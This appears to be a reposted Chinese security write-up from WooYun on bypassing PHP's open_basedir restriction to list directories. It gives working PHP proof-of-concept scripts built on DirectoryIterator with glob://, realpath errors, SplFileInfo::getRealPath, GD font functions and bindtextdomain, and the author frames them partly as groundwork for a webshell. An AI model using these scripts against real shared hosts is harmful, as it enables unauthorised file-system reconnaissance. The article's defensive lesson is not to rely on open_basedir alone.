<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/3978

            0x00 前言


            近期由于在開發自己的webshell,所以對PHP一些已有的漏洞進行了一定的研究,并且也自己發現了部分PHP存在的安全隱患。這篇文章我來與大家分享一下自己對于PHP中open_basedir繞過并列舉目錄的方法總結。

            0x01 open_basedir的簡介


            Open_basedir是PHP設置中為了防御PHP跨目錄進行文件(目錄)讀寫的方法,所有PHP中有關文件讀、寫的函數都會經過open_basedir的檢查。

            Open_basedir實際上是一些目錄的集合,在定義了open_basedir以后,php可以讀寫的文件、目錄都將被限制在這些目錄中。

            設置open_basedir的方法,在linux下,不同的目錄由“:”分割,如“/var/www/:/tmp/”;在Windows下不同目錄由“;”分割,如“c:/www;c:/windows/temp”。

            在現在這個各種云、虛擬主機橫行的時期,人們希望open_basedir作為一個橫亙在不同用戶之間的屏障,有力地保障用戶的主機能獨立運行,但事實并非人們想象的那么簡單。

            我們這篇文章著重講的將是繞過open_basedir進行目錄的列舉與遍歷,為何我們不說具體文件的讀、寫,因為文件讀寫的洞是危害比較大的漏洞了,在php5.3以后很少有能夠繞過open_basedir讀寫文件的方法。

            0x02 利用DirectoryIterator + Glob 直接列舉目錄


            這是@/fd 腳本(http://zone.wooyun.org/content/11268)里給出的第一個方法。

            DirectoryIterator 是php5中增加的一個類,為用戶提供一個簡單的查看目錄的接口(The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories)。

            glob: 數據流包裝器是從 PHP 5.3.0 起開始有效的,用來查找匹配的文件路徑。

            結合這兩個方式,我們就可以在php5.3以后對目錄進行列舉。在實測中,我們得知,此方法在Linux下列舉目錄居然可以無視open_basedir。

            示例代碼:

            #!php
            <?php
            printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
            $file_list = array();
            // normal files
            $it = new DirectoryIterator("glob:///*");
            foreach($it as $f) {
                $file_list[] = $f->__toString();
            }
            // special files (starting with a dot(.))
            $it = new DirectoryIterator("glob:///.*");
            foreach($it as $f) {
                $file_list[] = $f->__toString();
            }
            sort($file_list);
            foreach($file_list as $f){
                    echo "{$f}<br/>";
            }
            ?>
            

            執行我們可以發現,open_basedir為/usr/share/nginx/www/:/tmp/,但我們成功列舉了/根目錄下的所有文件:

            enter image description here

            這個方法也是迄今為止最方便的方法,他不用暴力猜解目錄,而是直接列舉。但他對php版本、系統版本有一定要求,在5.3以上可列舉(5.5/5.6可能會有修復?在官方沒看到有fix),需要在Linux下才能繞過open_basedir。

            0x03 realpath列舉目錄


            這是@/fd 腳本(http://zone.wooyun.org/content/11268)里給出的第二個方法。

            Realpath函數是php中將一個路徑規范化成為絕對路徑的方法,它可以去掉多余的../或./等跳轉字符,能將相對路徑轉換成絕對路徑。

            在開啟了open_basedir以后,這個函數有個特點:當我們傳入的路徑是一個不存在的文件(目錄)時,它將返回false;當我們傳入一個不在open_basedir里的文件(目錄)時,他將拋出錯誤(File is not within the allowed path(s))。

            所以我們可以通過這個特點,來進行目錄的猜解。舉個例子,我們需要猜解根目錄(不在open_basedir中)下的所有文件,只用寫一個捕捉php錯誤的函數err_handle()。當猜解某個存在的文件時,會因拋出錯誤而進入err_handle(),當猜解某個不存在的文件時,將不會進入err_handle()。

            那么由此我們來算算效率。假如一個文件名長度為6位(如config、passwd等全小寫不帶數字)的文件,我們最差需要枚舉多少次才能猜測到他是否存在:

            26 ** 6 = 308915776次

            enter image description here

            這樣是需要跑很久的,基本每次跑的時候我都沒耐心了,這樣暴力猜解肯定是不行的。那么,有什么好辦法可以變這個“雞肋”的漏洞為一個“好用”的漏洞?

            熟悉Windows + PHP的同學應該還記得Windows下有兩個特殊的通配符:<、>

            對,我們這里就借用這些通配符的力量來列舉目錄。寫個簡單的POC來列舉一下:

            #!php
            <?php
            ini_set('open_basedir', dirname(__FILE__));
            printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
            set_error_handler('isexists');
            $dir = 'd:/test/';
            $file = '';
            $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
            for ($i=0; $i < strlen($chars); $i++) { 
                $file = $dir . $chars[$i] . '<><';
                realpath($file);
            }
            function isexists($errno, $errstr)
            {
                $regexp = '/File\((.*)\) is not within/';
                preg_match($regexp, $errstr, $matches);
                if (isset($matches[1])) {
                    printf("%s <br/>", $matches[1]);
                }
            }
            ?>
            

            首先設置open_basedir為當前目錄,并枚舉d:/test/目錄下的所有文件。將錯誤處理交給isexists函數,在isexists函數中匹配出目錄名稱,并打印出來。

            執行可以看到:

            enter image description here

            Open_basedir為c:\wamp\www,但我們列舉出了d:/test/目錄下的文件:

            enter image description here

            當然,這是個很粗糙的POC,因為我并沒有考慮到首字母相同的文件,所以這個POC只能列舉首字母不同的文件。

            如果首字母相同,我們只需要再枚舉第二個字符、第三個字符依次類推,即可列舉出目錄中所有文件。

            這個方法好處是windows下php所有版本通用,當然壞處就是只有windows下才能使用通配符,如果是linux下就只能暴力猜解了。

            0x04 SplFileInfo::getRealPath列舉目錄


            受到上一個方法的啟發,我開始在php中尋找類似的方法。一旦realpath不能使用的情況下,也能找到替代方式。

            我找到了新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄#1 ,使用的方式是SplFileInfo::getRealPath。

            SplFileInfo類是PHP5.1.2之后引入的一個類,提供一個對文件進行操作的接口。其中有一個和realpath名字很像的方法叫getRealPath。

            這個方法功能和realpath類似,都是獲取絕對路徑用的。我們在SplFileInfo的構造函數中傳入文件相對路徑,并且調用getRealPath即可獲取文件的絕對路徑。

            這個方法有個特點:完全沒有考慮open_basedir。在傳入的路徑為一個不存在的路徑時,會返回false;在傳入的路徑為一個存在的路徑時,會正常返回絕對路徑。

            我們的realpath函數還是考慮了open_basedir,只是在報錯上沒有考慮周全導致我們能夠判斷某個文件是否存在。但我們可愛的SplFileInfo::getRealPath方法是直接沒有考慮open_basedir,就能夠判斷一個文件是否存在。

            那么,我給出一個POC:

            #!php
            <?php
            ini_set('open_basedir', dirname(__FILE__));
            printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
            $basedir = 'D:/test/';
            $arr = array();
            $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
            for ($i=0; $i < strlen($chars); $i++) { 
                $info = new SplFileInfo($basedir . $chars[$i] . '<><');
                $re = $info->getRealPath();
                if ($re) {
                    dump($re);
                }
            }
            function dump($s){
                echo $s . '<br/>';
                ob_flush();
                flush();
            }
            ?>
            

            只是把之前的POC稍作修改,同樣列出了D:/test下的文件:

            enter image description here

            這個方法有個特點,不管是否開啟open_basedir都是可以枚舉任意目錄的。而上一個方法(realpath)只有在開啟open_basedir且在open_basedir外的時候才會報錯,才能列舉目錄。當然,沒有開啟open_basedir的時候也不需要這樣列舉目錄了。

            0x05 GD庫imageftbbox/imagefttext列舉目錄


            GD庫一般是PHP必備的擴展庫之一,所以我在尋找open_basedir的時候也會看看這些有用的擴展庫。

            這是新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄之3

            我拿imageftbbox舉個例子,這個函數第三個參數是字體的路徑。我發現當這個參數在open_basedir外的時候,當文件存在,則php會拋出“File(xxxxx) is not within the allowed path(s)”錯誤。但當文件不存在的時候會拋出“Invalid font filename”錯誤。

            也就是說,我們可以通過拋出錯誤的具體內容來判斷一個文件是否存在。這個方法和realpath有相似性,都會拋出open_basedir的錯誤。

            我也修改了個簡單的POC:

            #!php
            <?php
            ini_set('open_basedir', dirname(__FILE__));
            printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
            set_error_handler('isexists');
            $dir = 'd:/test/';
            $file = '';
            $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
            for ($i=0; $i < strlen($chars); $i++) { 
                $file = $dir . $chars[$i] . '<><';
                //$m = imagecreatefrompng("zip.png");
                //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
                imageftbbox(100, 100, $file, 'aaa');
            }
            function isexists($errno, $errstr)
            {
                global $file;
                if (stripos($errstr, 'Invalid font filename') === FALSE) {
                    printf("%s<br/>", $file);
                }
            }
            ?>
            

            同樣列舉一下d:/test

            enter image description here

            如上圖,我們發現雖然“通配符”在判斷是否存在的時候奏效了,但我們真正的文件名并沒有顯示出來,而是還是以通配符“<><”代替。

            所以,這個方法報錯的時候并不會把真正的路徑爆出來,這也是其與realpath的最大不同之處。所以,我們只能一位一位地猜測,但總體來說,還是能夠猜測出來的,只不過可能比realpath更麻煩一些罷了。

            0x06 bindtextdomain暴力猜解目錄


            這是新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄#2

            bindtextdomain是php下綁定domain到某個目錄的函數。具體這個domain是什么我也沒具體用過,只是在一些l10n應用中可能用到的方法(相關函數textdomain、gettext、setlocale,說明:http://php.net/manual/en/function.gettext.php)

            Bindtextdomain函數在環境支持Gettext Functions的時候才能使用,而我的windows環境下是沒有bindtextdomain函數的,我的linux環境是默認存在這個函數。

            enter image description here

            如上圖,這個函數第二個參數$directory是一個文件路徑。它會在$directory存在的時候返回$directory,不存在則返回false。

            寫個簡單的測試代碼:

            #!php
            <?php
            printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
            $re = bindtextdomain('xxx', $_GET['dir']);
            var_dump($re);
            ?>
            

            當/etc/passwd存在的時候輸出之:

            enter image description here

            當/etc/wooyun不存在的時候返回false:

            enter image description here

            并沒有考慮到open_basedir。所以,我們也可以通過返回值的不同來猜解、列舉某個目錄。

            但很大的雞肋點在,windows下默認是沒有這個函數的,而在linux下不能使用通配符進行目錄的猜解,所以顯得很雞肋。

            當然,在萬無退路的時候進行暴力猜解目錄,也不失為一個還算行的方法。

            0x07 總結


            open_basedir本來作為php限制跨目錄讀寫文件的最基礎的方式,應該需要進行完好的設計。但可能php在當初編寫代碼的時候并沒有進行一個統一的設計,導致每當新增加功能或遇到一些偏僻的函數的時候,都會出現類似“open_basedir繞過”等悲劇。

            我曾經寫過一篇文章,《lnmp虛擬主機安全配置研究》,中講述了一個防止虛擬主機跨目錄的方法。但受到了一些白帽子的質疑:

            enter image description here

            原因是很多人過于相信open_basedir的可靠性。open_basedir固然是一個簡單地限制跨目錄的方法,但如果過于依賴某一個方法去防御一類攻擊,你將會死的很慘。

            enter image description here

            open_basedir繞過方法固然有版本局限,但不排除有很多人手中握著0day。像我這樣對php造詣并不算高的菜鳥也能找到的open_basedir繞過漏洞,你真的能保證大牛們都沒有辦法繞過么?

            我當然更能相信linux/windows等操作系統自帶的權限控制機制,也不會單單相信open_basedir真的能幫我防御什么。

            By the way,我上面提到的這些方法,基本都還沒有在php的最新版修復(甚至是我自己發現的“0day”),也就是說還真的有這么多通用的方法可以繞過open_basedir。

            估計又會有人質疑了,光繞過open_basedir列目錄有什么用?

            誠然,列目錄相比于讀、寫具體文件,都雞肋了很多。但很多時候,就是這些看似“雞肋”的漏洞組合技完成了絕殺。

            0x08 參考


            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线